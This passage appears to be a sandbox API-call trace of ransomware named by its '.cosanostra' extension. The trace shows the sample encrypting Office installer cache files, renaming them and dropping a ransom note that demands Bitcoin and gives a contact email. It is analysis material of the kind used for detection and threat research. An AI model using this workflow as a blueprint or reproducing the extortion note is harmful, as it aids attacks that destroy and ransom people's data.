lpNumberOfBytesWritten=0x26feedc, lpOverlapped=0x0 | out: lpBuffer=0x26fef1c*, lpNumberOfBytesWritten=0x26feedc*=0x4, lpOverlapped=0x0) returned 1 [0109.603] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26feedc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26feedc*=0x30, lpOverlapped=0x0) returned 1 [0109.603] CloseHandle (hObject=0xe8) returned 1 [0110.726] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.cosanostra") returned 93 [0110.726] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.cosanostra")) returned 1 [0110.727] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef20 | out: pbBuffer=0x26fef20) returned 1 [0110.727] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef18*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef18*=0x30) returned 1 [0110.727] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0110.878] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 78 [0110.878] StrStrW (lpFirst="WordMUI.msi", lpSrch=".txt") returned 0x0 [0110.939] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.940] WriteFile (in: hFile=0xe8, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26feedc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26feedc*=0x2800, lpOverlapped=0x0) returned 1 [0110.940] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.940] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26feedc, lpOverlapped=0x0 | out: lpBuffer=0x26fef1c*, lpNumberOfBytesWritten=0x26feedc*=0x4, lpOverlapped=0x0) returned 1 [0110.957] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26feedc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26feedc*=0x30, lpOverlapped=0x0) returned 1 [0110.957] CloseHandle (hObject=0xe8) returned 1 [0110.958] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.cosanostra") returned 89 [0110.958] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.cosanostra")) returned 1 [0110.960] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef18 | out: pbBuffer=0x26fef18) returned 1 [0110.960] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef10*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef10*=0x30) returned 1 [0110.960] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0110.960] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 83 [0110.960] StrStrW (lpFirst="PublisherMUI.msi", lpSrch=".txt") returned 0x0 [0111.118] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.119] WriteFile (in: hFile=0xe8, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26feed4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26feed4*=0x2800, lpOverlapped=0x0) returned 1 [0111.264] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.264] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26feed4, lpOverlapped=0x0 | out: lpBuffer=0x26fef14*, lpNumberOfBytesWritten=0x26feed4*=0x4, lpOverlapped=0x0) returned 1 [0111.275] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26feed4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26feed4*=0x30, lpOverlapped=0x0) returned 1 [0111.275] CloseHandle (hObject=0xe8) returned 1 [0111.275] wnsprintfW (in: pszDest=0x267cc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.cosanostra") returned 94 [0111.275] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.cosanostra")) returned 1 [0111.342] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef10 | out: pbBuffer=0x26fef10) returned 1 [0111.342] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef08*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef08*=0x30) returned 1 [0111.342] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.862] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef10 | out: pbBuffer=0x26fef10) returned 1 [0111.862] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef08*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef08*=0x30) returned 1 [0111.862] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 5 os_tid = 0xa44 [0074.017] Sleep (dwMilliseconds=0x3e8) [0077.321] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb68 | out: pbBuffer=0x2abfb68) returned 1 [0077.322] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25ccc0*, pdwDataLen=0x2abfb60*=0x20, dwBufLen=0x30 | out: pbData=0x25ccc0*, pdwDataLen=0x2abfb60*=0x30) returned 1 [0077.322] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0077.499] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 79 [0077.499] StrStrW (lpFirst="VisioMUI.msi", lpSrch=".txt") returned 0x0 [0077.499] ReadFile (in: hFile=0x130, lpBuffer=0x27a498, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfb24, lpOverlapped=0x0 | out: lpBuffer=0x27a498*, lpNumberOfBytesRead=0x2abfb24*=0x2800, lpOverlapped=0x0) returned 1 [0077.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.515] WriteFile (in: hFile=0x130, lpBuffer=0x27a498*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abfb24, lpOverlapped=0x0 | out: lpBuffer=0x27a498*, lpNumberOfBytesWritten=0x2abfb24*=0x2800, lpOverlapped=0x0) returned 1 [0077.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.515] WriteFile (in: hFile=0x130, lpBuffer=0x2abfb64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfb24, lpOverlapped=0x0 | out: lpBuffer=0x2abfb64*, lpNumberOfBytesWritten=0x2abfb24*=0x4, lpOverlapped=0x0) returned 1 [0077.516] WriteFile (in: hFile=0x130, lpBuffer=0x25ccc0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfb24, lpOverlapped=0x0 | out: lpBuffer=0x25ccc0*, lpNumberOfBytesWritten=0x2abfb24*=0x30, lpOverlapped=0x0) returned 1 [0077.516] CloseHandle (hObject=0x130) returned 1 [0077.765] wnsprintfW (in: pszDest=0x279fe8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.cosanostra") returned 90 [0077.765] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.cosanostra")) returned 1 [0077.766] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb60 | out: pbBuffer=0x2abfb60) returned 1 [0077.766] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25ce58*, pdwDataLen=0x2abfb58*=0x20, dwBufLen=0x30 | out: pbData=0x25ce58*, pdwDataLen=0x2abfb58*=0x30) returned 1 [0077.766] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.766] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb60 | out: pbBuffer=0x2abfb60) returned 1 [0077.766] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25ce58*, pdwDataLen=0x2abfb58*=0x20, dwBufLen=0x30 | out: pbData=0x25ce58*, pdwDataLen=0x2abfb58*=0x30) returned 1 [0077.767] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.767] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0077.775] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0077.775] WriteFile (in: hFile=0x130, lpBuffer=0x2abf9f7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfbb8, lpOverlapped=0x0 | out: lpBuffer=0x2abf9f7*, lpNumberOfBytesWritten=0x2abfbb8*=0x1bf, lpOverlapped=0x0) returned 1 [0077.775] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0077.776] WriteFile (in: hFile=0x130, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfbb8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfbb8*=0x2ac, lpOverlapped=0x0) returned 1 [0077.776] CloseHandle (hObject=0x130) returned 1 [0077.776] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb58 | out: pbBuffer=0x2abfb58) returned 1 [0077.776] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25ce58*, pdwDataLen=0x2abfb50*=0x20, dwBufLen=0x30 | out: pbData=0x25ce58*, pdwDataLen=0x2abfb50*=0x30) returned 1 [0077.776] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0077.835] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.835] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0077.835] ReadFile (in: hFile=0x154, lpBuffer=0x28c5f8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfb14, lpOverlapped=0x0 | out: lpBuffer=0x28c5f8*, lpNumberOfBytesRead=0x2abfb14*=0x7c4, lpOverlapped=0x0) returned 1 [0077.921] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffff83c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.921] WriteFile (in: hFile=0x154, lpBuffer=0x28c5f8*, nNumberOfBytesToWrite=0x7c4, lpNumberOfBytesWritten=0x2abfb14, lpOverlapped=0x0 | out: lpBuffer=0x28c5f8*, lpNumberOfBytesWritten=0x2abfb14*=0x7c4, lpOverlapped=0x0) returned 1 [0077.921] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.921] WriteFile (in: hFile=0x154, lpBuffer=0x2abfb54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfb14, lpOverlapped=0x0 | out: lpBuffer=0x2abfb54*, lpNumberOfBytesWritten=0x2abfb14*=0x4, lpOverlapped=0x0) returned 1 [0077.921] WriteFile (in: hFile=0x154, lpBuffer=0x25ce58*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfb14, lpOverlapped=0x0 | out: lpBuffer=0x25ce58*, lpNumberOfBytesWritten=0x2abfb14*=0x30, lpOverlapped=0x0) returned 1 [0077.921] CloseHandle (hObject=0x154) returned 1 [0077.922] wnsprintfW (in: pszDest=0x28fe48, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0077.922] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0077.923] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb50 | out: pbBuffer=0x2abfb50) returned 1 [0077.923] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25ce58*, pdwDataLen=0x2abfb48*=0x20, dwBufLen=0x30 | out: pbData=0x25ce58*, pdwDataLen=0x2abfb48*=0x30) returned 1 [0077.923] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0078.077] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 80 [0078.077] StrStrW (lpFirst="GrooveMUI.xml", lpSrch=".txt") returned 0x0 [0078.077] ReadFile (in: hFile=0x154, lpBuffer=0x27c830, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfb0c, lpOverlapped=0x0 | out: lpBuffer=0x27c830*, lpNumberOfBytesRead=0x2abfb0c*=0x391, lpOverlapped=0x0) returned 1 [0078.096] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffc6f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.096] WriteFile (in: hFile=0x154, lpBuffer=0x27c830*, nNumberOfBytesToWrite=0x391, lpNumberOfBytesWritten=0x2abfb0c, lpOverlapped=0x0 | out: lpBuffer=0x27c830*, lpNumberOfBytesWritten=0x2abfb0c*=0x391, lpOverlapped=0x0) returned 1 [0078.097] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.097] WriteFile (in: hFile=0x154, lpBuffer=0x2abfb4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfb0c, lpOverlapped=0x0 | out: lpBuffer=0x2abfb4c*, lpNumberOfBytesWritten=0x2abfb0c*=0x4, lpOverlapped=0x0) returned 1 [0078.097] WriteFile (in: hFile=0x154, lpBuffer=0x25ce58*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfb0c, lpOverlapped=0x0 | out: lpBuffer=0x25ce58*, lpNumberOfBytesWritten=0x2abfb0c*=0x30, lpOverlapped=0x0) returned 1 [0078.097] CloseHandle (hObject=0x154) returned 1 [0078.099] wnsprintfW (in: pszDest=0x28e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.cosanostra") returned 91 [0078.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.cosanostra")) returned 1 [0078.100] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0078.100] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0078.101] WriteFile (in: hFile=0x154, lpBuffer=0x2abf9eb*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfbac, lpOverlapped=0x0 | out: lpBuffer=0x2abf9eb*, lpNumberOfBytesWritten=0x2abfbac*=0x1bf, lpOverlapped=0x0) returned 1 [0078.101] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0078.101] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfbac, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfbac*=0x2ac, lpOverlapped=0x0) returned 1 [0078.102] CloseHandle (hObject=0x154) returned 1 [0078.102] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb48 | out: pbBuffer=0x2abfb48) returned 1 [0078.102] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25cbb8*, pdwDataLen=0x2abfb40*=0x20, dwBufLen=0x30 | out: pbData=0x25cbb8*, pdwDataLen=0x2abfb40*=0x30) returned 1 [0078.102] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0078.109] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 78 [0078.109] StrStrW (lpFirst="ShellUI.MST", lpSrch=".txt") returned 0x0 [0078.109] ReadFile (in: hFile=0x154, lpBuffer=0x27c830, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfb04, lpOverlapped=0x0 | out: lpBuffer=0x27c830*, lpNumberOfBytesRead=0x2abfb04*=0xe00, lpOverlapped=0x0) returned 1 [0078.120] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffff200, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.120] WriteFile (in: hFile=0x154, lpBuffer=0x27c830*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x2abfb04, lpOverlapped=0x0 | out: lpBuffer=0x27c830*, lpNumberOfBytesWritten=0x2abfb04*=0xe00, lpOverlapped=0x0) returned 1 [0078.120] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.120] WriteFile (in: hFile=0x154, lpBuffer=0x2abfb44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfb04, lpOverlapped=0x0 | out: lpBuffer=0x2abfb44*, lpNumberOfBytesWritten=0x2abfb04*=0x4, 